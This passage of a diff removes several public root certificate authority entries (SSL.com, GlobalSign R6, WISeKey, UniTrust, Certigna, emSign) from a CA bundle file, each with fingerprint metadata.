-Gp8hLH94t2S42Oim9HizVcuE0jLEeK6jj2HdzghTreyI/BXkmg3mnxp3zkyPuBQV
-PWKchjgGAGYS5Fl2WlPAApiiECtoRHuOec4zSnaqW4EWG7WK2NAAe15itAnWhmMO
-pgWVSbooi4iTsjQc2KRVbrcc0N6ZVTsj9CLg+SlmJuwgUHfbSguPvuUCYHBBXtSu
-UDkiFCbLsjtzdFVHB3mBOagwE0TlBIqulhMlQg+5U8Sb/M3kHN48+qvWBkofZ6aY
-MBzdLNvcGJVXZsb/XItW9XcCAwEAAaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNV
-HSMEGDAWgBT5YLvU49U09rj1BoAlp3PbRmmonjAdBgNVHQ4EFgQU+WC71OPVNPa4
-9QaAJadz20ZpqJ4wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBCwUAA4ICAQBW
-s47LCp1Jjr+kxJG7ZhcFUZh1++VQLHqe8RT6q9OKPv+RKY9ji9i0qVQBDb6Thi/5
-Sm3HXvVX+cpVHBK+Rw82xd9qt9t1wkclf7nxY/hoLVUE0fKNsKTPvDxeH3jnpaAg
-cLAExbf3cqfeIg29MyVGjGSSJuM+LmOW2puMPfgYCdcDzH2GguDKBAdRUNf/ktUM
-79qGn5nX67evaOI5JpS6aLe/g9Pqemc9YmeuJeVy6OLk7K4S9ksrPJ/psEDzOFSz
-/bdoyNrGj1E8svuR3Bznm53htw1yj+KkxKl4+esUrMZDBcJlOSgYAsOCsp0FvmXt
-ll9ldDz7CTUue5wT/RsPXcdtgTpWD8w74a8CLyKsRspGPKAcTNZEtF4uXBVmCeEm
-Kf7GUmG6sXP/wwyc5WxqlD8UykAWlYTzWamsX0xhk23RO8yilQwipmdnRC652dKK
-QbNmC1r7fSOl8hqw/96bg5Qu0T/fkreRrwU7ZcegbLHNYhLDkBvjJc40vG93drEQ
-w/cFGsDWr3RiSBd3kmmQYRzelYB0VI8YHMPzA9C/pEN1hlMYegouCRw2n5H9gooi
-S9EOUCXdywMMF8mDAAhONU2Ki+3wApRmLER/y5UnlhetCTCstnEXbosX9hwJ1C07
-mKVx01QT2WDz9UtmT/rx7iASjbSsV7FFY6GsdqnC+w==
------END CERTIFICATE-----
-
-# Issuer: CN=SSL.com EV Root Certification Authority ECC O=SSL Corporation
-# Subject: CN=SSL.com EV Root Certification Authority ECC O=SSL Corporation
-# Label: "SSL.com EV Root Certification Authority ECC"
-# Serial: 3182246526754555285
-# MD5 Fingerprint: 59:53:22:65:83:42:01:54:c0:ce:42:b9:5a:7c:f2:90
-# SHA1 Fingerprint: 4c:dd:51:a3:d1:f5:20:32:14:b0:c6:c5:32:23:03:91:c7:46:42:6d
-# SHA256 Fingerprint: 22:a2:c1:f7:bd:ed:70:4c:c1:e7:01:b5:f4:08:c3:10:88:0f:e9:56:b5:de:2a:4a:44:f9:9c:87:3a:25:a7:c8
------BEGIN CERTIFICATE-----
-MIIClDCCAhqgAwIBAgIILCmcWxbtBZUwCgYIKoZIzj0EAwIwfzELMAkGA1UEBhMC
-VVMxDjAMBgNVBAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9T
-U0wgQ29ycG9yYXRpb24xNDAyBgNVBAMMK1NTTC5jb20gRVYgUm9vdCBDZXJ0aWZp
-Y2F0aW9uIEF1dGhvcml0eSBFQ0MwHhcNMTYwMjEyMTgxNTIzWhcNNDEwMjEyMTgx
-NTIzWjB/MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMxEDAOBgNVBAcMB0hv
-dXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjE0MDIGA1UEAwwrU1NMLmNv
-bSBFViBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IEVDQzB2MBAGByqGSM49
-AgEGBSuBBAAiA2IABKoSR5CYG/vvw0AHgyBO8TCCogbR8pKGYfL2IWjKAMTH6kMA
-VIbc/R/fALhBYlzccBYy3h+Z1MzFB8gIH2EWB1E9fVwHU+M1OIzfzZ/ZLg1Kthku
-WnBaBu2+8KGwytAJKaNjMGEwHQYDVR0OBBYEFFvKXuXe0oGqzagtZFG22XKbl+ZP
-MA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUW8pe5d7SgarNqC1kUbbZcpuX
-5k8wDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMCA2gAMGUCMQCK5kCJN+vp1RPZ
-ytRrJPOwPYdGWBrssd9v+1a6cGvHOMzosYxPD/fxZ3YOg9AeUY8CMD32IygmTMZg
-h5Mmm7I1HrrW9zzRHM76JTymGoEVW/MSD2zuZYrJh6j5B+BimoxcSg==
------END CERTIFICATE-----
-
-# Issuer: CN=GlobalSign O=GlobalSign OU=GlobalSign Root CA - R6
-# Subject: CN=GlobalSign O=GlobalSign OU=GlobalSign Root CA - R6
-# Label: "GlobalSign Root CA - R6"
-# Serial: 1417766617973444989252670301619537
-# MD5 Fingerprint: 4f:dd:07:e4:d4:22:64:39:1e:0c:37:42:ea:d1:c6:ae
-# SHA1 Fingerprint: 80:94:64:0e:b5:a7:a1:ca:11:9c:1f:dd:d5:9f:81:02:63:a7:fb:d1
-# SHA256 Fingerprint: 2c:ab:ea:fe:37:d0:6c:a2:2a:ba:73:91:c0:03:3d:25:98:29:52:c4:53:64:73:49:76:3a:3a:b5:ad:6c:cf:69
------BEGIN CERTIFICATE-----
-MIIFgzCCA2ugAwIBAgIORea7A4Mzw4VlSOb/RVEwDQYJKoZIhvcNAQEMBQAwTDEg
-MB4GA1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjYxEzARBgNVBAoTCkdsb2Jh
-bFNpZ24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMTQxMjEwMDAwMDAwWhcNMzQx
-MjEwMDAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSNjET
-MBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjCCAiIwDQYJ
-KoZIhvcNAQEBBQADggIPADCCAgoCggIBAJUH6HPKZvnsFMp7PPcNCPG0RQssgrRI
-xutbPK6DuEGSMxSkb3/pKszGsIhrxbaJ0cay/xTOURQh7ErdG1rG1ofuTToVBu1k
-ZguSgMpE3nOUTvOniX9PeGMIyBJQbUJmL025eShNUhqKGoC3GYEOfsSKvGRMIRxD
-aNc9PIrFsmbVkJq3MQbFvuJtMgamHvm566qjuL++gmNQ0PAYid/kD3n16qIfKtJw
-LnvnvJO7bVPiSHyMEAc4/2ayd2F+4OqMPKq0pPbzlUoSB239jLKJz9CgYXfIWHSw
-1CM69106yqLbnQneXUQtkPGBzVeS+n68UARjNN9rkxi+azayOeSsJDa38O+2HBNX
-k7besvjihbdzorg1qkXy4J02oW9UivFyVm4uiMVRQkQVlO6jxTiWm05OWgtH8wY2
-SXcwvHE35absIQh1/OZhFj931dmRl4QKbNQCTXTAFO39OfuD8l4UoQSwC+n+7o/h
-bguyCLNhZglqsQY6ZZZZwPA1/cnaKI0aEYdwgQqomnUdnjqGBQCe24DWJfncBZ4n
-WUx2OVvq+aWh2IMP0f/fMBH5hc8zSPXKbWQULHpYT9NLCEnFlWQaYw55PfWzjMpY
-rZxCRXluDocZXFSxZba/jJvcE+kNb7gu3GduyYsRtYQUigAZcIN5kZeR1Bonvzce
-MgfYFGM8KEyvAgMBAAGjYzBhMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTAD
-AQH/MB0GA1UdDgQWBBSubAWjkxPioufi1xzWx/B/yGdToDAfBgNVHSMEGDAWgBSu
-bAWjkxPioufi1xzWx/B/yGdToDANBgkqhkiG9w0BAQwFAAOCAgEAgyXt6NH9lVLN
-nsAEoJFp5lzQhN7craJP6Ed41mWYqVuoPId8AorRbrcWc+ZfwFSY1XS+wc3iEZGt
-Ixg93eFyRJa0lV7Ae46ZeBZDE1ZXs6KzO7V33EByrKPrmzU+sQghoefEQzd5Mr61
-55wsTLxDKZmOMNOsIeDjHfrYBzN2VAAiKrlNIC5waNrlU/yDXNOd8v9EDERm8tLj
-vUYAGm0CuiVdjaExUd1URhxN25mW7xocBFymFe944Hn+Xds+qkxV/ZoVqW/hpvvf
-cDDpw+5CRu3CkwWJ+n1jez/QcYF8AOiYrg54NMMl+68KnyBr3TsTjxKM4kEaSHpz
-oHdpx7Zcf4LIHv5YGygrqGytXm3ABdJ7t+uA/iU3/gKbaKxCXcPu9czc8FB10jZp
-nOZ7BN9uBmm23goJSFmH63sUYHpkqmlD75HHTOwY3WzvUy2MmeFe8nI+z1TIvWfs
-pA9MRf/TuTAjB0yPEL+GltmZWrSZVxykzLsViVO6LAUP5MSeGbEYNNVMnbrt9x+v
-JJUEeKgDu+6B5dpffItKoZB0JaezPkvILFa9x8jvOOJckvB595yEunQtYQEgfn7R
-8k8HWV+LLUNS60YMlOH1Zkd5d9VUWx+tJDfLRVpOoERIyNiwmcUVhAn21klJwGW4
-5hpxbqCo8YLoRT5s1gLXCmeDBVrJpBA=
------END CERTIFICATE-----
-
-# Issuer: CN=OISTE WISeKey Global Root GC CA O=WISeKey OU=OISTE Foundation Endorsed
-# Subject: CN=OISTE WISeKey Global Root GC CA O=WISeKey OU=OISTE Foundation Endorsed
-# Label: "OISTE WISeKey Global Root GC CA"
-# Serial: 44084345621038548146064804565436152554
-# MD5 Fingerprint: a9:d6:b9:2d:2f:93:64:f8:a5:69:ca:91:e9:68:07:23
-# SHA1 Fingerprint: e0:11:84:5e:34:de:be:88:81:b9:9c:f6:16:26:d1:96:1f:c3:b9:31
-# SHA256 Fingerprint: 85:60:f9:1c:36:24:da:ba:95:70:b5:fe:a0:db:e3:6f:f1:1a:83:23:be:94:86:85:4f:b3:f3:4a:55:71:19:8d
------BEGIN CERTIFICATE-----
-MIICaTCCAe+gAwIBAgIQISpWDK7aDKtARb8roi066jAKBggqhkjOPQQDAzBtMQsw
-CQYDVQQGEwJDSDEQMA4GA1UEChMHV0lTZUtleTEiMCAGA1UECxMZT0lTVEUgRm91
-bmRhdGlvbiBFbmRvcnNlZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9iYWwg
-Um9vdCBHQyBDQTAeFw0xNzA1MDkwOTQ4MzRaFw00MjA1MDkwOTU4MzNaMG0xCzAJ
-BgNVBAYTAkNIMRAwDgYDVQQKEwdXSVNlS2V5MSIwIAYDVQQLExlPSVNURSBGb3Vu
-ZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5IEdsb2JhbCBS
-b290IEdDIENBMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAETOlQwMYPchi82PG6s4ni
-eUqjFqdrVCTbUf/q9Akkwwsin8tqJ4KBDdLArzHkdIJuyiXZjHWd8dvQmqJLIX4W
-p2OQ0jnUsYd4XxiWD1AbNTcPasbc2RNNpI6QN+a9WzGRo1QwUjAOBgNVHQ8BAf8E
-BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUSIcUrOPDnpBgOtfKie7T
-rYy0UGYwEAYJKwYBBAGCNxUBBAMCAQAwCgYIKoZIzj0EAwMDaAAwZQIwJsdpW9zV
-57LnyAyMjMPdeYwbY9XJUpROTYJKcx6ygISpJcBMWm1JKWB4E+J+SOtkAjEA2zQg
-Mgj/mkkCtojeFK9dbJlxjRo/i9fgojaGHAeCOnZT/cKi7e97sIBPWA9LUzm9
------END CERTIFICATE-----
-
-# Issuer: CN=UCA Global G2 Root O=UniTrust
-# Subject: CN=UCA Global G2 Root O=UniTrust
-# Label: "UCA Global G2 Root"
-# Serial: 124779693093741543919145257850076631279
-# MD5 Fingerprint: 80:fe:f0:c4:4a:f0:5c:62:32:9f:1c:ba:78:a9:50:f8
-# SHA1 Fingerprint: 28:f9:78:16:19:7a:ff:18:25:18:aa:44:fe:c1:a0:ce:5c:b6:4c:8a
-# SHA256 Fingerprint: 9b:ea:11:c9:76:fe:01:47:64:c1:be:56:a6:f9:14:b5:a5:60:31:7a:bd:99:88:39:33:82:e5:16:1a:a0:49:3c
------BEGIN CERTIFICATE-----
-MIIFRjCCAy6gAwIBAgIQXd+x2lqj7V2+WmUgZQOQ7zANBgkqhkiG9w0BAQsFADA9
-MQswCQYDVQQGEwJDTjERMA8GA1UECgwIVW5pVHJ1c3QxGzAZBgNVBAMMElVDQSBH
-bG9iYWwgRzIgUm9vdDAeFw0xNjAzMTEwMDAwMDBaFw00MDEyMzEwMDAwMDBaMD0x
-CzAJBgNVBAYTAkNOMREwDwYDVQQKDAhVbmlUcnVzdDEbMBkGA1UEAwwSVUNBIEds
-b2JhbCBHMiBSb290MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAxeYr
-b3zvJgUno4Ek2m/LAfmZmqkywiKHYUGRO8vDaBsGxUypK8FnFyIdK+35KYmToni9
-kmugow2ifsqTs6bRjDXVdfkX9s9FxeV67HeToI8jrg4aA3++1NDtLnurRiNb/yzm
-VHqUwCoV8MmNsHo7JOHXaOIxPAYzRrZUEaalLyJUKlgNAQLx+hVRZ2zA+te2G3/R
-VogvGjqNO7uCEeBHANBSh6v7hn4PJGtAnTRnvI3HLYZveT6OqTwXS3+wmeOwcWDc
-C/Vkw85DvG1xudLeJ1uK6NjGruFZfc8oLTW4lVYa8bJYS7cSN8h8s+1LgOGN+jIj
-tm+3SJUIsUROhYw6AlQgL9+/V087OpAh18EmNVQg7Mc/R+zvWr9LesGtOxdQXGLY
-D0tK3Cv6brxzks3sx1DoQZbXqX5t2Okdj4q1uViSukqSKwxW/YDrCPBeKW4bHAyv
-j5OJrdu9o54hyokZ7N+1wxrrFv54NkzWbtA+FxyQF2smuvt6L78RHBgOLXMDj6Dl
-NaBa4kx1HXHhOThTeEDMg5PXCp6dW4+K5OXgSORIskfNTip1KnvyIvbJvgmRlld6
-iIis7nCs+dwp4wwcOxJORNanTrAmyPPZGpeRaOrvjUYG0lZFWJo8DA+DuAUlwznP
-O6Q0ibd5Ei9Hxeepl2n8pndntd978XplFeRhVmUCAwEAAaNCMEAwDgYDVR0PAQH/
-BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFIHEjMz15DD/pQwIX4wV
-ZyF0Ad/fMA0GCSqGSIb3DQEBCwUAA4ICAQATZSL1jiutROTL/7lo5sOASD0Ee/oj
-L3rtNtqyzm325p7lX1iPyzcyochltq44PTUbPrw7tgTQvPlJ9Zv3hcU2tsu8+Mg5
-1eRfB70VVJd0ysrtT7q6ZHafgbiERUlMjW+i67HM0cOU2kTC5uLqGOiiHycFutfl
-1qnN3e92mI0ADs0b+gO3joBYDic/UvuUospeZcnWhNq5NXHzJsBPd+aBJ9J3O5oU
-b3n09tDh05S60FdRvScFDcH9yBIw7m+NESsIndTUv4BFFJqIRNow6rSn4+7vW4LV
-PtateJLbXDzz2K36uGt/xDYotgIVilQsnLAXc47QN6MUPJiVAAwpBVueSUmxX8fj
-y88nZY41F7dXyDDZQVu5FLbowg+UMaeUmMxq67XhJ/UQqAHojhJi6IjMtX9Gl8Cb
-EGY4GjZGXyJoPd/JxhMnq1MGrKI8hgZlb7F+sSlEmqO6SWkoaY/X5V+tBIZkbxqg
-DMUIYs6Ao9Dz7GjevjPHF1t/gMRMTLGmhIrDO7gJzRSBuhjjVFc2/tsvfEehOjPI
-+Vg7RE+xygKJBJYoaMVLuCaJu9YzL1DV/pqJuhgyklTGW+Cd+V7lDSKb9triyCGy
-YiGqhkCyLmTTX8jjfhFnRR8F/uOi77Oos/N9j/gMHyIfLXC0uAE0djAA5SN4p1bX
-UB+K+wb1whnw0A==
------END CERTIFICATE-----
-
-# Issuer: CN=UCA Extended Validation Root O=UniTrust
-# Subject: CN=UCA Extended Validation Root O=UniTrust
-# Label: "UCA Extended Validation Root"
-# Serial: 106100277556486529736699587978573607008
-# MD5 Fingerprint: a1:f3:5f:43:c6:34:9b:da:bf:8c:7e:05:53:ad:96:e2
-# SHA1 Fingerprint: a3:a1:b0:6f:24:61:23:4a:e3:36:a5:c2:37:fc:a6:ff:dd:f0:d7:3a
-# SHA256 Fingerprint: d4:3a:f9:b3:54:73:75:5c:96:84:fc:06:d7:d8:cb:70:ee:5c:28:e7:73:fb:29:4e:b4:1e:e7:17:22:92:4d:24
------BEGIN CERTIFICATE-----
-MIIFWjCCA0KgAwIBAgIQT9Irj/VkyDOeTzRYZiNwYDANBgkqhkiG9w0BAQsFADBH
-MQswCQYDVQQGEwJDTjERMA8GA1UECgwIVW5pVHJ1c3QxJTAjBgNVBAMMHFVDQSBF
-eHRlbmRlZCBWYWxpZGF0aW9uIFJvb3QwHhcNMTUwMzEzMDAwMDAwWhcNMzgxMjMx
-MDAwMDAwWjBHMQswCQYDVQQGEwJDTjERMA8GA1UECgwIVW5pVHJ1c3QxJTAjBgNV
-BAMMHFVDQSBFeHRlbmRlZCBWYWxpZGF0aW9uIFJvb3QwggIiMA0GCSqGSIb3DQEB
-AQUAA4ICDwAwggIKAoICAQCpCQcoEwKwmeBkqh5DFnpzsZGgdT6o+uM4AHrsiWog
-D4vFsJszA1qGxliG1cGFu0/GnEBNyr7uaZa4rYEwmnySBesFK5pI0Lh2PpbIILvS
-sPGP2KxFRv+qZ2C0d35qHzwaUnoEPQc8hQ2E0B92CvdqFN9y4zR8V05WAT558aop
-O2z6+I9tTcg1367r3CTueUWnhbYFiN6IXSV8l2RnCdm/WhUFhvMJHuxYMjMR83dk
-sHYf5BA1FxvyDrFspCqjc/wJHx4yGVMR59mzLC52LqGj3n5qiAno8geK+LLNEOfi
-c0CTuwjRP+H8C5SzJe98ptfRr5//lpr1kXuYC3fUfugH0mK1lTnj8/FtDw5lhIpj
-VMWAtuCeS31HJqcBCF3RiJ7XwzJE+oJKCmhUfzhTA8ykADNkUVkLo4KRel7sFsLz
-KuZi2irbWWIQJUoqgQtHB0MGcIfS+pMRKXpITeuUx3BNr2fVUbGAIAEBtHoIppB/
-TuDvB0GHr2qlXov7z1CymlSvw4m6WC31MJixNnI5fkkE/SmnTHnkBVfblLkWU41G
-sx2VYVdWf6/wFlthWG82UBEL2KwrlRYaDh8IzTY0ZRBiZtWAXxQgXy0MoHgKaNYs
-1+lvK9JKBZP8nm9rZ/+I8U6laUpSNwXqxhaN0sSZ0YIrO7o1dfdRUVjzyAfd5LQD
-fwIDAQABo0IwQDAdBgNVHQ4EFgQU2XQ65DA9DfcS3H5aBZ8eNJr34RQwDwYDVR0T
-AQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAYYwDQYJKoZIhvcNAQELBQADggIBADaN
-l8xCFWQpN5smLNb7rhVpLGsaGvdftvkHTFnq88nIua7Mui563MD1sC3AO6+fcAUR
-ap8lTwEpcOPlDOHqWnzcSbvBHiqB9RZLcpHIojG5qtr8nR/zXUACE/xOHAbKsxSQ
-VBcZEhrxH9cMaVr2cXj0lH2RC47skFSOvG+hTKv8dGT9cZr4QQehzZHkPJrgmzI5
-c6sq1WnIeJEmMX3ixzDx/BR4dxIOE/TdFpS/S2d7cFOFyrC78zhNLJA5wA3CXWvp
-4uXViI3WLL+rG761KIcSF3Ru/H38j9CHJrAb+7lsq+KePRXBOy5nAliRn+/4Qh8s
-t2j1da3Ptfb/EX3C8CSlrdP6oDyp+l3cpaDvRKS+1ujl5BOWF3sGPjLtx7dCvHaj
-2GU4Kzg1USEODm8uNBNA4StnDG1KQTAYI1oyVZnJF+A83vbsea0rWBmirSwiGpWO
-vpaQXUJXxPkUAzUrHC1RVwinOt4/5Mi0A3PCwSaAuwtCH60NryZy2sy+s6ODWA2C
-xR9GUeOcGMyNm43sSet1UNWMKFnKdDTajAshqx7qG+XH/RU+wBeq+yNuJkbL+vmx
-cmtpzyKEC2IPrNkZAJSidjzULZrtBJ4tBmIQN1IchXIbJ+XMxjHsN+xjWZsLHXbM
-fjKaiJUINlK73nZfdklJrX+9ZSCyycErdhh2n1ax
------END CERTIFICATE-----
-
-# Issuer: CN=Certigna Root CA O=Dhimyotis OU=0002 48146308100036
-# Subject: CN=Certigna Root CA O=Dhimyotis OU=0002 48146308100036
-# Label: "Certigna Root CA"
-# Serial: 269714418870597844693661054334862075617
-# MD5 Fingerprint: 0e:5c:30:62:27:eb:5b:bc:d7:ae:62:ba:e9:d5:df:77
-# SHA1 Fingerprint: 2d:0d:52:14:ff:9e:ad:99:24:01:74:20:47:6e:6c:85:27:27:f5:43
-# SHA256 Fingerprint: d4:8d:3d:23:ee:db:50:a4:59:e5:51:97:60:1c:27:77:4b:9d:7b:18:c9:4d:5a:05:95:11:a1:02:50:b9:31:68
------BEGIN CERTIFICATE-----
-MIIGWzCCBEOgAwIBAgIRAMrpG4nxVQMNo+ZBbcTjpuEwDQYJKoZIhvcNAQELBQAw
-WjELMAkGA1UEBhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczEcMBoGA1UECwwTMDAw
-MiA0ODE0NjMwODEwMDAzNjEZMBcGA1UEAwwQQ2VydGlnbmEgUm9vdCBDQTAeFw0x
-MzEwMDEwODMyMjdaFw0zMzEwMDEwODMyMjdaMFoxCzAJBgNVBAYTAkZSMRIwEAYD
-VQQKDAlEaGlteW90aXMxHDAaBgNVBAsMEzAwMDIgNDgxNDYzMDgxMDAwMzYxGTAX
-BgNVBAMMEENlcnRpZ25hIFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw
-ggIKAoICAQDNGDllGlmx6mQWDoyUJJV8g9PFOSbcDO8WV43X2KyjQn+Cyu3NW9sO
-ty3tRQgXstmzy9YXUnIo245Onoq2C/mehJpNdt4iKVzSs9IGPjA5qXSjklYcoW9M
-CiBtnyN6tMbaLOQdLNyzKNAT8kxOAkmhVECe5uUFoC2EyP+YbNDrihqECB63aCPu
-I9Vwzm1RaRDuoXrC0SIxwoKF0vJVdlB8JXrJhFwLrN1CTivngqIkicuQstDuI7pm
-TLtipPlTWmR7fJj6o0ieD5Wupxj0auwuA0Wv8HT4Ks16XdG+RCYyKfHx9WzMfgIh
-C59vpD++nVPiz32pLHxYGpfhPTc3GGYo0kDFUYqMwy3OU4gkWGQwFsWq4NYKpkDf
-ePb1BHxpE4S80dGnBs8B92jAqFe7OmGtBIyT46388NtEbVncSVmurJqZNjBBe3Yz
-IoejwpKGbvlw7q6Hh5UbxHq9MfPU0uWZ/75I7HX1eBYdpnDBfzwboZL7z8g81sWT
-Co/1VTp2lc5ZmIoJlXcymoO6LAQ6l73UL77XbJuiyn1tJslV1c/DeVIICZkHJC1k
-JWumIWmbat10TWuXekG9qxf5kBdIjzb5LdXF2+6qhUVB+s06RbFo5jZMm5BX7CO5
-hwjCxAnxl4YqKE3idMDaxIzb3+KhF1nOJFl0Mdp//TBt2dzhauH8XwIDAQABo4IB
-GjCCARYwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYE
-FBiHVuBud+4kNTxOc5of1uHieX4rMB8GA1UdIwQYMBaAFBiHVuBud+4kNTxOc5of
-1uHieX4rMEQGA1UdIAQ9MDswOQYEVR0gADAxMC8GCCsGAQUFBwIBFiNodHRwczov
-L3d3d3cuY2VydGlnbmEuZnIvYXV0b3JpdGVzLzBtBgNVHR8EZjBkMC+gLaArhilo
-dHRwOi8vY3JsLmNlcnRpZ25hLmZyL2NlcnRpZ25hcm9vdGNhLmNybDAxoC+gLYYr
-aHR0cDovL2NybC5kaGlteW90aXMuY29tL2NlcnRpZ25hcm9vdGNhLmNybDANBgkq
-hkiG9w0BAQsFAAOCAgEAlLieT/DjlQgi581oQfccVdV8AOItOoldaDgvUSILSo3L
-6btdPrtcPbEo/uRTVRPPoZAbAh1fZkYJMyjhDSSXcNMQH+pkV5a7XdrnxIxPTGRG
-HVyH41neQtGbqH6mid2PHMkwgu07nM3A6RngatgCdTer9zQoKJHyBApPNeNgJgH6
-0BGM+RFq7q89w1DTj18zeTyGqHNFkIwgtnJzFyO+B2XleJINugHA64wcZr+shncB
-lA2c5uk5jR+mUYyZDDl34bSb+hxnV29qao6pK0xXeXpXIs/NX2NGjVxZOob4Mkdi
-o2cNGJHc+6Zr9UhhcyNZjgKnvETq9Emd8VRY+WCv2hikLyhF3HqgiIZd8zvn/yk1
-gPxkQ5Tm4xxvvq0OKmOZK8l+hfZx6AYDlf7ej0gcWtSS6Cvu5zHbugRqh5jnxV/v
-faci9wHYTfmJ0A6aBVmknpjZbyvKcL5kwlWj9Omvw5Ip3IgWJJk8jSaYtlu3zM63
-Nwf9JtmYhST/WSMDmu2dnajkXjjO11INb9I/bbEFa0nOipFGc/T2L/Coc3cOZayh
-jWZSaX5LaAzHHjcng6WMxwLkFM1JAbBzs/3GkDpv0mztO+7skb6iQ12LAEpmJURw
-3kAP+HwV96LOPNdeE4yBFxgX0b3xdxA61GU5wSesVywlVP+i2k+KYTlerj1KjL0=
------END CERTIFICATE-----
-
-# Issuer: CN=emSign Root CA - G1 O=eMudhra Technologies Limited OU=emSign PKI
-# Subject: CN=emSign Root CA - G1 O=eMudhra Technologies Limited OU=emSign PKI
-# Label: "emSign Root CA - G1"
-# Serial: 235931866688319308814040
-# MD5 Fingerprint: 9c:42:84:57:dd:cb:0b:a7:2e:95:ad:b6:f3:da:bc:ac
-# SHA1 Fingerprint: 8a:c7:ad:8f:73:ac:4e:c1:b5:75:4d:a5:40:f4:fc:cf:7c:b5:8e:8c
-# SHA256 Fingerprint: 40:f6:af:03:46:a9:9a:a1:cd:1d:55:5a:4e:9c:ce:62:c7:f9:63:46:03:ee:40:66:15:83:3d:c8:c8:d0:03:67
------BEGIN CERTIFICATE-----
-MIIDlDCCAnygAwIBAgIKMfXkYgxsWO3W2DANBgkqhkiG9w0BAQsFADBnMQswCQYD
-VQQGEwJJTjETMBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBU
-ZWNobm9sb2dpZXMgTGltaXRlZDEcMBoGA1UEAxMTZW1TaWduIFJvb3QgQ0EgLSBH
-MTAeFw0xODAyMTgxODMwMDBaFw00MzAyMTgxODMwMDBaMGcxCzAJBgNVBAYTAklO
-MRMwEQYDVQQLEwplbVNpZ24gUEtJMSUwIwYDVQQKExxlTXVkaHJhIFRlY2hub2xv
-Z2llcyBMaW1pdGVkMRwwGgYDVQQDExNlbVNpZ24gUm9vdCBDQSAtIEcxMIIBIjAN
-BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAk0u76WaK7p1b1TST0Bsew+eeuGQz
-f2N4aLTNLnF115sgxk0pvLZoYIr3IZpWNVrzdr3YzZr/k1ZLpVkGoZM0Kd0WNHVO
-8oG0x5ZOrRkVUkr+PHB1cM2vK6sVmjM8qrOLqs1D/fXqcP/tzxE7lM5OMhbTI0Aq
-d7OvPAEsbO2ZLIvZTmmYsvePQbAyeGHWDV/D+qJAkh1cF+ZwPjXnorfCYuKrpDhM
-tTk1b+oDafo6VGiFbdbyL0NVHpENDtjVaqSW0RM8LHhQ6DqS0hdW5TUaQBw+jSzt
-Od9C4INBdN+jzcKGYEho42kLVACL5HZpIQ15TjQIXhTCzLG3rdd8cIrHhQIDAQAB
-o0IwQDAdBgNVHQ4EFgQU++8Nhp6w492pufEhF38+/PB3KxowDgYDVR0PAQH/BAQD
-AgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAFn/8oz1h31x
-PaOfG1vR2vjTnGs2vZupYeveFix0PZ7mddrXuqe8QhfnPZHr5X3dPpzxz5KsbEjM
-wiI/aTvFthUvozXGaCocV685743QNcMYDHsAVhzNixl03r4PEuDQqqE/AjSxcM6d
-GNYIAwlG7mDgfrbESQRRfXBgvKqy/3lyeqYdPV8q+Mri/Tm3R7nrft8EI6/6nAYH
-6ftjk4BAtcZsCjEozgyfz7MjNYBBjWzEN3uBL4ChQEKF6dk4jeihU80Bv2noWgby
-RQuQ+q7hv53yrlc8pa6yVvSLZUDp/TGBLPQ5Cdjua6e0ph0VpZj3AYHYhX3zUVxx
-iN66zB+Afko=
------END CERTIFICATE-----
-
-# Issuer: CN=emSign ECC Root CA - G3 O=eMudhra Technologies Limited OU=emSign PKI
-# Subject: CN=emSign ECC Root CA - G3 O=eMudhra Technologies Limited OU=emSign PKI
-# Label: "emSign ECC Root CA - G3"
-# Serial: 287880440101571086945156
-# MD5 Fingerprint: ce:0b:72:d1:9f:88:8e:d0:50:03:e8:e3:b8:8b:67:40
-# SHA1 Fingerprint: 30:43:fa:4f:f2:57:dc:a0:c3:80:ee:2e:58:ea:78:b2:3f:e6:bb:c1
-# SHA256 Fingerprint: 86:a1:ec:ba:08:9c:4a:8d:3b:be:27:34:c6:12:ba:34:1d:81:3e:04:3c:f9:e8:a8:62:cd:5c:57:a3:6b:be:6b
------BEGIN CERTIFICATE-----
-MIICTjCCAdOgAwIBAgIKPPYHqWhwDtqLhDAKBggqhkjOPQQDAzBrMQswCQYDVQQG
-EwJJTjETMBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNo
-bm9sb2dpZXMgTGltaXRlZDEgMB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0g
-RzMwHhcNMTgwMjE4MTgzMDAwWhcNNDMwMjE4MTgzMDAwWjBrMQswCQYDVQQGEwJJ
-TjETMBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNobm9s
-b2dpZXMgTGltaXRlZDEgMB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0gRzMw
